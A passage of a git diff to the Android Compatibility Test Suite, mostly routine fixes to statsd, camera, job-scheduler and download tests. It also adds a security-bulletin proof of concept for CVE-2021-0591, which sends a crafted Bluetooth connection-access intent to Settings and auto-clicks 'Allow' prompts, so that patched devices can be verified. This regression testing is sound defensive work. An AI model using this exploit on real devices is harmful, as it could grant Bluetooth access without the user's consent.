androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.UiObject2; +import androidx.test.uiautomator.Until; +import java.util.List; +import org.junit.Before; +import org.junit.After; +import org.junit.Test; +import org.junit.runner.RunWith; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; +import static org.hamcrest.CoreMatchers.notNullValue; +import static org.junit.Assert.assertThat; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + + private static final String BASIC_SAMPLE_PACKAGE = + "android.security.cts.CVE_2021_0591"; + private static final int LAUNCH_TIMEOUT_MS = 20000; + private UiDevice mDevice; + + @Before + public void startMainActivityFromHomeScreen() { + mDevice = UiDevice.getInstance(getInstrumentation()); + try { + mDevice.wakeUp(); + mDevice.pressMenu(); + mDevice.pressHome(); + } catch (Exception e) { + e.printStackTrace(); + } + Context context = getApplicationContext(); + assertThat(context, notNullValue()); + PackageManager packageManager = context.getPackageManager(); + assertThat(packageManager, notNullValue()); + final Intent intent = packageManager.getLaunchIntentForPackage(BASIC_SAMPLE_PACKAGE); + assertThat(intent, notNullValue()); + intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); + context.startActivity(intent); + mDevice.wait(Until.hasObject(By.pkg(BASIC_SAMPLE_PACKAGE).depth(0)), LAUNCH_TIMEOUT_MS); + } + + @After + public void lastOperation() { + SystemClock.sleep(20000); + } + + @Test + public void testClick() { + List<UiObject2> objects; + BySelector selector = By.clickable(true); + String button; + objects = mDevice.findObjects(selector); + for (UiObject2 o : objects) { + button = o.getText(); + if (button == null) { + continue; + } + if (button.matches("ALLOW|YES|Allow|Yes")) { + o.click(); + return; + } + } + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/src/android/security/cts/CVE_2021_0591/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/src/android/security/cts/CVE_2021_0591/PocActivity.java new file mode 100644 index 00000000000..e1a12f944b4 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/src/android/security/cts/CVE_2021_0591/PocActivity.java @@ -0,0 +1,45 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_0591; + +import android.app.Activity; +import android.bluetooth.BluetoothAdapter; +import android.bluetooth.BluetoothDevice; +import android.content.Intent; +import android.os.Bundle; + +import static org.junit.Assert.assertNotNull; + +public class PocActivity extends Activity { + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.activity_main); + Intent i = new Intent("android.bluetooth.device.action.CONNECTION_ACCESS_REQUEST"); + i.setClassName("com.android.settings", + "com.android.settings.bluetooth.BluetoothPermissionActivity"); + BluetoothAdapter bluetoothAdapter = BluetoothAdapter.getDefaultAdapter(); + assertNotNull(bluetoothAdapter); + i.putExtra(BluetoothDevice.EXTRA_DEVICE, + bluetoothAdapter.getRemoteDevice("00:11:22:33:AA:BB")); + i.putExtra("android.bluetooth.device.extra.PACKAGE_NAME", "com.android.systemui"); + i.putExtra("android.bluetooth.device.extra.CLASS_NAME", + "com.android.systemui.screenshot.ScreenshotServiceErrorReceiver"); + startActivity(i); + } +} diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java index 0ccc450f665..e550db6ec92 100644 --- a/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java +++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java @@ -52,7 +52,8 @@ public class AppOpsTests extends DeviceTestCase implements IBuildReceiver { final int APP_OP_RECORD_AUDIO = 27; final int APP_OP_RECORD_AUDIO_HOTWORD = 102; - TRANSFORMED_FROM_OP.put(APP_OP_RECORD_AUDIO, APP_OP_RECORD_AUDIO_HOTWORD); + // Temporarily commented out until the Trusted Hotword requirement is enforced again. +// TRANSFORMED_FROM_OP.put(APP_OP_RECORD_AUDIO, APP_OP_RECORD_AUDIO_HOTWORD); } private IBuildInfo mCtsBuild; diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/DeviceUtils.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/DeviceUtils.java index cac353e04f9..10eec5535e4 100644 --- a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/DeviceUtils.java +++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/DeviceUtils.java @@ -43,6 +43,7 @@ import com.google.protobuf.Parser; import java.io.FileNotFoundException; import java.util.Map; +import java.util.StringTokenizer; import javax.annotation.Nonnull; import javax.annotation.Nullable; @@ -243,7 +244,15 @@ public final class DeviceUtils { */ public static boolean hasFeature(ITestDevice device, String feature) throws Exception { final String features = device.executeShellCommand("pm list features"); - return features.contains(feature); + StringTokenizer featureToken = new StringTokenizer(features, "\n"); + + while(featureToken.hasMoreTokens()) { + if (("feature:" + feature).equals(featureToken.nextToken())) { + return true; + } + } + + return false; } /** diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java index 91888940751..1d9cdc2001c 100644 --- a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java +++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java @@ -19,7 +19,10 @@ package android.cts.statsdatom.lib; import static com.google.common.truth.Truth.assertThat; import static com.google.common.truth.Truth.assertWithMessage; +import com.android.os.StatsLog; + import com.android.os.AtomsProto.Atom; +import com.android.os.StatsLog; import com.android.os.StatsLog.ConfigMetricsReport; import com.android.os.StatsLog.ConfigMetricsReportList; import com.android.os.StatsLog.EventMetricData; @@ -28,12 +31,15 @@ import com.android.os.StatsLog.GaugeMetricData; import com.android.os.StatsLog.StatsLogReport; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.log.LogUtil.CLog; +import com.android.tradefed.util.Pair; import com.google.protobuf.InvalidProtocolBufferException; import java.util.ArrayList; +import java.util.Collections; import java.util.Comparator; import java.util.List; +import java.util.stream.Collectors; public final class ReportUtils { private static final String DUMP_REPORT_CMD = "cmd stats dump-report"; @@ -51,7 +57,7 @@ public final class ReportUtils { /** * Extracts and sorts the EventMetricData from the given ConfigMetricsReportList (which must - * contain a single report). + * contain a single report) and sorts the atoms by timestamp within the report. */ public static List<EventMetricData> getEventMetricDataList(ConfigMetricsReportList reportList) throws Exception { @@ -60,7 +66,14 @@ public final class ReportUtils { List<EventMetricData> data = new ArrayList<>(); for (StatsLogReport metric : report.getMetricsList()) { - data.addAll(metric.getEventMetrics().getDataList()); + for (EventMetricData metricData : + metric.getEventMetrics().getDataList()) { + if (metricData.hasAtom()) { + data.add(metricData); + } else { + data.addAll(backfillAggregatedAtomsInEventMetric(metricData)); + } + } } data.sort(Comparator.comparing(EventMetricData::getElapsedTimestampNanos)); @@ -71,6 +84,23 @@ public final class ReportUtils { return data; } + + private static List<EventMetricData> backfillAggregatedAtomsInEventMetric( + EventMetricData metricData) { + if (!metricData.hasAggregatedAtomInfo()) { + return Collections.emptyList(); + } + List<EventMetricData> data = new ArrayList<>(); + StatsLog.AggregatedAtomInfo atomInfo = metricData.getAggregatedAtomInfo(); + for (long timestamp : atomInfo.getElapsedTimestampNanosList()) { + data.add(EventMetricData.newBuilder() + .setAtom(atomInfo.getAtom()) + .setElapsedTimestampNanos(timestamp) + .build()); + } + return data; + } + public static List<Atom> getGaugeMetricAtoms(ITestDevice device) throws Exception { return getGaugeMetricAtoms(device, /*checkTimestampTruncated=*/false); } @@ -93,9 +123,13 @@ public final class ReportUtils { for (GaugeMetricData d : report.getMetrics(0).getGaugeMetrics().getDataList()) { assertThat(d.getBucketInfoCount()).isEqualTo(1); GaugeBucketInfo bucketInfo = d.getBucketInfo(0); - atoms.addAll(bucketInfo.getAtomList()); + if (bucketInfo.getAtomCount() != 0) { + atoms.addAll(bucketInfo.getAtomList()); + } else { + backFillGaugeBucketAtoms(bucketInfo.getAggregatedAtomInfoList()); + } if (checkTimestampTruncated) { - for (long timestampNs: bucketInfo.getElapsedTimestampNanosList()) { + for (long timestampNs : bucketInfo.getElapsedTimestampNanosList()) { assertTimestampIsTruncated(timestampNs); } } @@ -108,6 +142,18 @@ public final class ReportUtils { return atoms; } + private static List<Atom> backFillGaugeBucketAtoms( + List<StatsLog.AggregatedAtomInfo> atomInfoList) { + List<Pair<Atom, Long>> atomTimestamp = new ArrayList<>(); + for (StatsLog.AggregatedAtomInfo atomInfo : atomInfoList) { + for (long timestampNs : atomInfo.getElapsedTimestampNanosList()) { + atomTimestamp.add(Pair.create(atomInfo.getAtom(), timestampNs)); + } + } + atomTimestamp.sort(Comparator.comparing(o -> o.second)); + return atomTimestamp.stream().map(p -> p.first).collect(Collectors.toList()); + } + /** * Delete all pre-existing reports corresponding to the CTS config. */ diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java index ad925131cf0..d9072497cbf 100644 --- a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java +++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java @@ -229,14 +229,19 @@ public class HostAtomTests extends DeviceTestCase implements IBuildReceiver { // Trigger events in same order. DeviceUtils.plugInAc(getDevice()); + DeviceUtils.flushBatteryStatsHandlers(getDevice()); Thread.sleep(AtomTestUtils.WAIT_TIME_LONG); DeviceUtils.unplugDevice(getDevice()); + DeviceUtils.flushBatteryStatsHandlers(getDevice()); Thread.sleep(AtomTestUtils.WAIT_TIME_LONG); plugInUsb(); + DeviceUtils.flushBatteryStatsHandlers(getDevice()); Thread.sleep(AtomTestUtils.WAIT_TIME_LONG); DeviceUtils.unplugDevice(getDevice()); + DeviceUtils.flushBatteryStatsHandlers(getDevice()); Thread.sleep(AtomTestUtils.WAIT_TIME_LONG); plugInWireless(); + DeviceUtils.flushBatteryStatsHandlers(getDevice()); Thread.sleep(AtomTestUtils.WAIT_TIME_LONG); DeviceUtils.unplugDevice(getDevice()); DeviceUtils.flushBatteryStatsHandlers(getDevice()); diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/ProcStateAtomTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/ProcStateAtomTests.java index 40735c3f434..11353ce4b6e 100644 --- a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/ProcStateAtomTests.java +++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/ProcStateAtomTests.java @@ -231,7 +231,7 @@ public class ProcStateAtomTests extends DeviceTestCase implements IBuildReceiver Thread.sleep(WAIT_TIME_FOR_SCREEN_MS); executeForegroundActivity(getDevice(), ACTION_SLEEP_WHILE_TOP); - // ASAP, turn off the screen to make proc state -> top_sleeping. + Thread.sleep(WAIT_TIME_FOR_SCREEN_MS); DeviceUtils.turnScreenOff(getDevice()); final int waitTime = SLEEP_OF_ACTION_SLEEP_WHILE_TOP + EXTRA_WAIT_TIME_MS; Thread.sleep(waitTime + STATSD_REPORT_WAIT_TIME_MS); diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java index 67478a793aa..c363d841341 100644 --- a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java +++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java @@ -220,7 +220,8 @@ public class UidAtomTests extends DeviceTestCase implements IBuildReceiver { atomTag, /*uidInAttributionChain=*/false); DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG, - "StatsdCtsForegroundActivity", "action", "action.native_crash"); + "StatsdCtsForegroundActivity", "action", "action.native_crash", + /* waitTimeMs= */ 5000L); // Sorted list of events in order in which they occurred. List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice()); diff --git a/hostsidetests/theme/assets/31/450dpi.zip b/hostsidetests/theme/assets/31/450dpi.zip Binary files differnew file mode 100644 index 00000000000..5ce9a1e80ed --- /dev/null +++ b/hostsidetests/theme/assets/31/450dpi.zip diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java index 4909ce2b704..c2dfa2400dc 100644 --- a/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java +++ b/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java @@ -122,7 +122,7 @@ public class JobParametersTest extends BaseJobSchedulerTest { + " " + JOB_ID)); // In automotive device, always-on screen and endless battery charging are assumed. - if (!isAutomotiveDevice()) { + if (BatteryUtils.hasBattery() && !isAutomotiveDevice()) { BatteryUtils.runDumpsysBatterySetLevel(100); BatteryUtils.runDumpsysBatteryUnplug(); verifyStopReason(new JobInfo.Builder(JOB_ID, kJobServiceComponent) diff --git a/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java b/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java index db74563a436..27378c3d08d 100644 --- a/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java +++ b/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java @@ -55,6 +55,7 @@ import android.util.Log; import android.util.Pair; import com.android.compatibility.common.util.AmMonitor; +import com.android.compatibility.common.util.PollingCheck; import com.android.compatibility.common.util.ShellIdentityUtils; import com.android.compatibility.common.util.SystemUtil; import com.android.internal.util.ArrayUtils; @@ -103,6 +104,8 @@ public final class ActivityManagerAppExitInfoTest extends InstrumentationTestCas private static final int EXIT_CODE = 123; private static final int CRASH_SIGNAL = OsConstants.SIGSEGV; + private static final int TOMBSTONE_FETCH_TIMEOUT_MS = 10_000; + private static final int WAITFOR_MSEC = 10000; private static final int WAITFOR_SETTLE_DOWN = 2000; @@ -840,17 +843,11 @@ public final class ActivityManagerAppExitInfoTest extends InstrumentationTestCas verify(list.get(0), mStubPackagePid, mStubPackageUid, STUB_PACKAGE_NAME, ApplicationExitInfo.REASON_CRASH_NATIVE, null, null, now, now2); - InputStream trace = ShellIdentityUtils.invokeMethodWithShellPermissions( - list.get(0), - (i) -> { - try { - return i.getTraceInputStream(); - } catch (IOException ex) { - return null; - } - }, - android.Manifest.permission.DUMP); + TombstoneFetcher tombstoneFetcher = new TombstoneFetcher(list.get(0)); + PollingCheck.check("not able to get tombstone", TOMBSTONE_FETCH_TIMEOUT_MS, + () -> tombstoneFetcher.fetchTrace()); + InputStream trace = tombstoneFetcher.getTrace(); assertNotNull(trace); Tombstone tombstone = Tombstone.parseFrom(trace); assertEquals(tombstone.getPid(), mStubPackagePid); @@ -1242,4 +1239,31 @@ public final class ActivityManagerAppExitInfoTest extends InstrumentationTestCas assertTrue(ArrayUtils.equals(info.getProcessStateSummary(), cookie, cookie == null ? 0 : cookie.length)); } + + private static class TombstoneFetcher { + private InputStream mTrace = null; + private final ApplicationExitInfo mExitInfo; + + TombstoneFetcher(ApplicationExitInfo exitInfo) { + mExitInfo = exitInfo; + } + + public InputStream getTrace() { + return mTrace; + } + + public boolean fetchTrace() throws Exception { + mTrace = ShellIdentityUtils.invokeMethodWithShellPermissions( + mExitInfo, + (i) -> { + try { + return i.getTraceInputStream(); + } catch (IOException ex) { + return null; + } + }, + android.Manifest.permission.DUMP); + return (mTrace != null); + } + } } diff --git a/tests/app/src/android/app/cts/DownloadManagerTest.java b/tests/app/src/android/app/cts/DownloadManagerTest.java index 0bb5aa2e694..21206871850 100644 --- a/tests/app/src/android/app/cts/DownloadManagerTest.java +++ b/tests/app/src/android/app/cts/DownloadManagerTest.java @@ -24,6 +24,7 @@ import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertNotNull; import static org.junit.Assert.assertTrue; import static org.junit.Assert.fail; +import static org.junit.Assume.assumeFalse; import android.app.DownloadManager; import android.app.DownloadManager.Query; @@ -697,6 +698,8 @@ public class DownloadManagerTest extends DownloadManagerTestBase { @Test public void testDownload_onMediaStoreDownloadsDeleted() throws Exception { + assumeFalse(mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK)); + // prepare file File file = new File(Environment.getExternalStoragePublicDirectory( Environment.DIRECTORY_DOWNLOADS), "cts" + System.nanoTime() + ".mp3"); diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java index 67ac550d512..d53a952199d 100644 --- a/tests/app/src/android/app/cts/NotificationManagerTest.java +++ b/tests/app/src/android/app/cts/NotificationManagerTest.java @@ -119,6 +119,7 @@ import android.os.ParcelFileDescriptor; import android.os.RemoteException; import android.os.SystemClock; import android.os.UserHandle; +import android.platform.test.annotations.AsbSecurityTest; import android.provider.ContactsContract; import android.provider.ContactsContract.CommonDataKinds.Email; import android.provider.ContactsContract.CommonDataKinds.Phone; @@ -4255,6 +4256,7 @@ public class NotificationManagerTest extends AndroidTestCase { * This method verifies that an app can't bypass background restrictions by retrieving their own * notification and triggering it. */ + @AsbSecurityTest(cveBugId = 185388103) public void testActivityStartFromRetrievedNotification_isBlocked() throws Exception { deactivateGracePeriod(); EventCallback callback = new EventCallback(); diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java index 0794739b42e..c2dfb13588e 100644 --- a/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java +++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java @@ -906,6 +906,11 @@ public final class Helper { Log.v(TAG, "isRotationSupported(): is PC"); return false; } + if (!packageManager.hasSystemFeature(PackageManager.FEATURE_SCREEN_LANDSCAPE) + || !packageManager.hasSystemFeature(PackageManager.FEATURE_SCREEN_PORTRAIT)) { + Log.v(TAG, "isRotationSupported(): no screen orientation feature"); + return false; + } return true; } diff --git a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java index 1ca6107b9f8..2534ba66393 100644 --- a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java +++ b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java @@ -86,7 +86,7 @@ public class CaptureRequestTest extends Camera2SurfaceViewTestCase { private static final long EXPOSURE_TIME_BOUNDARY_60HZ_NS = 8333333L; // 8.3ms, Approximation. private static final long EXPOSURE_TIME_ERROR_MARGIN_NS = 100000L; // 100us, Approximation. private static final float EXPOSURE_TIME_ERROR_MARGIN_RATE = 0.03f; // 3%, Approximation. - private static final float SENSITIVITY_ERROR_MARGIN_RATE = 0.03f; // 3%, Approximation. + private static final float SENSITIVITY_ERROR_MARGIN_RATE = 0.06f; // 6%, Approximation. private static final int DEFAULT_NUM_EXPOSURE_TIME_STEPS = 3; private static final int DEFAULT_NUM_SENSITIVITY_STEPS = 8; private static final int DEFAULT_SENSITIVITY_STEP_SIZE = 100; @@ -816,7 +816,8 @@ public class CaptureRequestTest extends Camera2SurfaceViewTestCase { } openDevice(id); Size maxPreviewSize = mOrderedPreviewSizes.get(0); - digitalZoomTestByCamera(maxPreviewSize); + digitalZoomTestByCamera(maxPreviewSize, /*repeating*/false); + digitalZoomTestByCamera(maxPreviewSize, /*repeating*/true); } finally { closeDevice(); } @@ -2562,7 +2563,7 @@ public class CaptureRequestTest extends Camera2SurfaceViewTestCase { stopPreview(); } - private void digitalZoomTestByCamera(Size previewSize) throws Exception { + private void digitalZoomTestByCamera(Size previewSize, boolean repeating) throws Exception { final int ZOOM_STEPS = 15; final PointF[] TEST_ZOOM_CENTERS; final float maxZoom = mStaticInfo.getAvailableMaxDigitalZoomChecked(); @@ -2649,6 +2650,7 @@ public class CaptureRequestTest extends Camera2SurfaceViewTestCase { }; final int CAPTURE_SUBMIT_REPEAT; + final int NUM_RESULTS_TO_SKIP; { int maxLatency = mStaticInfo.getSyncMaxLatency(); if (maxLatency == CameraMetadata.SYNC_MAX_LATENCY_UNKNOWN) { @@ -2656,6 +2658,11 @@ public class CaptureRequestTest extends Camera2SurfaceViewTestCase { } else { CAPTURE_SUBMIT_REPEAT = maxLatency + 1; } + if (repeating) { + NUM_RESULTS_TO_SKIP = NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY + 1; + } else { + NUM_RESULTS_TO_SKIP = CAPTURE_SUBMIT_REPEAT - 1; + } } if (VERBOSE) { @@ -2680,21 +2687,29 @@ public class CaptureRequestTest extends Camera2SurfaceViewTestCase { if (VERBOSE) { Log.v(TAG, "Testing Zoom for factor " + zoomFactor + " and center " + center + " The cropRegion is " + cropRegions[i] + - " Preview size is " + previewSize); + " Preview size is " + previewSize + ", repeating is " + repeating); } requestBuilder.set(CaptureRequest.SCALER_CROP_REGION, cropRegions[i]); requests[i] = requestBuilder.build(); - for (int j = 0; j < CAPTURE_SUBMIT_REPEAT; ++j) { - if (VERBOSE) { - Log.v(TAG, "submit crop region " + cropRegions[i]); + if (VERBOSE) { + Log.v(TAG, "submit crop region " + cropRegions[i]); + } + if (repeating) { + mSession.setRepeatingRequest(requests[i], listener, mHandler); + // Drop first few frames + waitForNumResults(listener, NUM_RESULTS_TO_SKIP); + // Interleave a regular capture + mSession.capture(requests[0], listener, mHandler); + } else { + for (int j = 0; j < CAPTURE_SUBMIT_REPEAT; ++j) { + mSession.capture(requests[i], listener, mHandler); } - mSession.capture(requests[i], listener, mHandler); } /* * Validate capture result */ - waitForNumResults(listener, CAPTURE_SUBMIT_REPEAT - 1); // Drop first few frames + waitForNumResults(listener, NUM_RESULTS_TO_SKIP); // Drop first few frames TotalCaptureResult result = listener.getTotalCaptureResultForRequest( requests[i], NUM_RESULTS_WAIT_TIMEOUT); List<CaptureResult> partialResults = result.getPartialResults(); @@ -2756,7 +2771,7 @@ public class CaptureRequestTest extends Camera2SurfaceViewTestCase { if (maxZoom > 1.0f) { mCollector.expectTrue( - String.format("Most zoomed-in crop region should be smaller" + + String.format("Most zoomed-in crop region should be smaller " + "than active array w/h" + "(last crop = %s, active array = %s)", previousCrop, activeArraySize), @@ -2955,7 +2970,7 @@ public class CaptureRequestTest extends Camera2SurfaceViewTestCase { } aspectRatiosTested.add(aspectRatio); - digitalZoomTestByCamera(size); + digitalZoomTestByCamera(size, /*repeating*/false); } } diff --git a/tests/camera/src/android/hardware/camera2/cts/MultiResolutionImageReaderTest.java b/tests/camera/src/android/hardware/camera2/cts/MultiResolutionImageReaderTest.java index 262f9030458..35edd778854 100644 --- a/tests/camera/src/android/hardware/camera2/cts/MultiResolutionImageReaderTest.java +++ b/tests/camera/src/android/hardware/camera2/cts/MultiResolutionImageReaderTest.java @@ -94,7 +94,7 @@ public class MultiResolutionImageReaderTest extends Camera2AndroidTestCase { private SimpleMultiResolutionImageReaderListener mListener; @Test - public void testMultiResolutionCaptureCharacteristics() { + public void testMultiResolutionCaptureCharacteristics() throws Exception { for (String id : mCameraIdsUnderTest) { if (VERBOSE) { Log.v(TAG, "Testing multi-resolution capture characteristics for Camera " + id); @@ -154,11 +154,8 @@ public class MultiResolutionImageReaderTest extends Camera2AndroidTestCase { physicalCameraIds.contains(physicalCameraId)); } - StaticMetadata pInfo = mAllStaticInfo.get(physicalCameraId); - CameraCharacteristics pChar = pInfo.getCharacteristics(); - StreamConfigurationMap pConfig = pChar.get( - CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP); - Size[] sizes = pConfig.getOutputSizes(format); + Size[] sizes = CameraTestUtils.getSupportedSizeForFormat(format, + physicalCameraId, mCameraManager); assertTrue(String.format("Camera %s must " + "support at least one output size for output " + "format %d.", physicalCameraId, format), @@ -166,13 +163,10 @@ public class MultiResolutionImageReaderTest extends Camera2AndroidTestCase { List<Size> maxSizes = new ArrayList<Size>(); maxSizes.add(CameraTestUtils.getMaxSize(sizes)); - StreamConfigurationMap pMaxResConfig = pChar.get(CameraCharacteristics. - SCALER_STREAM_CONFIGURATION_MAP_MAXIMUM_RESOLUTION); - if (pMaxResConfig != null) { - Size[] maxResSizes = pMaxResConfig.getOutputSizes(format); - if (maxResSizes != null && maxResSizes.length > 0) { - maxSizes.add(CameraTestUtils.getMaxSize(maxResSizes)); - } + Size[] maxResSizes = CameraTestUtils.getSupportedSizeForFormat(format, + physicalCameraId, mCameraManager, /*maxResolution*/true); + if (maxResSizes != null && maxResSizes.length > 0) { + maxSizes.add(CameraTestUtils.getMaxSize(maxResSizes)); } assertTrue(String.format("Camera %s's supported multi-resolution" diff --git a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java index 9009f9fd099..14032dac096 100644 --- a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java +++ b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java @@ -296,7 +296,7 @@ public class PerformanceTest { testSingleCaptureForFormat(JPEG_FORMAT, "jpeg", /*addPreviewDelay*/ true); if (!mTestRule.isPerfMeasure()) { int[] YUV_FORMAT = {ImageFormat.YUV_420_888}; - testSingleCaptureForFormat(YUV_FORMAT, null, /*addPreviewDelay*/ false); + testSingleCaptureForFormat(YUV_FORMAT, null, /*addPreviewDelay*/ true); int[] PRIVATE_FORMAT = {ImageFormat.PRIVATE}; testSingleCaptureForFormat(PRIVATE_FORMAT, "private", /*addPreviewDelay*/ true); int[] RAW_FORMAT = {ImageFormat.RAW_SENSOR}; diff --git a/tests/camera/src/android/hardware/camera2/cts/ZoomCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/ZoomCaptureTest.java index 61dde71e12a..fab14b803ab 100644 --- a/tests/camera/src/android/hardware/camera2/cts/ZoomCaptureTest.java +++ b/tests/camera/src/android/hardware/camera2/cts/ZoomCaptureTest.java @@ -28,6 +28,7 @@ import android.media.Image; import android.media.ImageReader; import android.os.Build; import android.os.ConditionVariable; +import android.platform.test.annotations.AppModeFull; import android.util.Log; import android.util.Size; @@ -69,6 +70,7 @@ public class ZoomCaptureTest extends Camera2AndroidTestCase { } @Test + @AppModeFull(reason = "Instant apps can't access Test API") public void testJpegZoomCapture() throws Exception { for (String id : mCameraIdsUnderTest) { try { @@ -82,6 +84,7 @@ public class ZoomCaptureTest extends Camera2AndroidTestCase { } @Test + @AppModeFull(reason = "Instant apps can't access Test API") public void testRawZoomCapture() throws Exception { for (String id : mCameraIdsUnderTest) { try { diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java index 1c7bf7c8648..7a4c2e0160c 100644 --- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java +++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java @@ -1679,16 +1679,31 @@ public class CameraTestUtils extends Assert { */ public static Size[] getSupportedSizeForFormat(int format, String cameraId, CameraManager cameraManager) throws CameraAccessException { + return getSupportedSizeForFormat(format, cameraId, cameraManager, + /*maxResolution*/false); + } + + public static Size[] getSupportedSizeForFormat(int format, String cameraId, + CameraManager cameraManager, boolean maxResolution) throws CameraAccessException { CameraCharacteristics properties = cameraManager.getCameraCharacteristics(cameraId); assertNotNull("Can't get camera characteristics!", properties); if (VERBOSE) { Log.v(TAG, "get camera characteristics for camera: " + cameraId); } - StreamConfigurationMap configMap = - properties.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP); + CameraCharacteristics.Key<StreamConfigurationMap> configMapTag = maxResolution ? + CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP_MAXIMUM_RESOLUTION : + CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP; + StreamConfigurationMap configMap = properties.get(configMapTag); + if (configMap == null) { + assertTrue("SCALER_STREAM_CONFIGURATION_MAP is null!", maxResolution); + return null; + } + Size[] availableSizes = configMap.getOutputSizes(format); - assertArrayNotEmpty(availableSizes, "availableSizes should not be empty for format: " - + format); + if (!maxResolution) { + assertArrayNotEmpty(availableSizes, "availableSizes should not be empty for format: " + + format); + } Size[] highResAvailableSizes = configMap.getHighResolutionOutputSizes(format); if (highResAvailableSizes != null && highResAvailableSizes.length > 0) { Size[] allSizes = new Size[availableSizes.length + highResAvailableSizes.length]; diff --git a/tests/filesystem/AndroidManifest.xml b/tests/filesystem/AndroidManifest.xml index d203a1a8c3a..f559247f5dd 100644 --- a/tests/filesystem/AndroidManifest.xml +++ b/tests/filesystem/AndroidManifest.xml @@ -23,6 +23,9 @@ <application> <uses-library android:name="android.test.runner" /> + <activity android:name=".FileActivity" + android:exported="true"> + </activity> </application> <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner" android:targetPackage="android.filesystem.cts" diff --git a/tests/filesystem/src/android/filesystem/cts/FileActivity.java b/tests/filesystem/src/android/filesystem/cts/FileActivity.java new file mode 100644 index 00000000000..58b108e1981 --- /dev/null +++ b/tests/filesystem/src/android/filesystem/cts/FileActivity.java @@ -0,0 +1,37 @@ +/* + * Copyright (C) 2016 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * 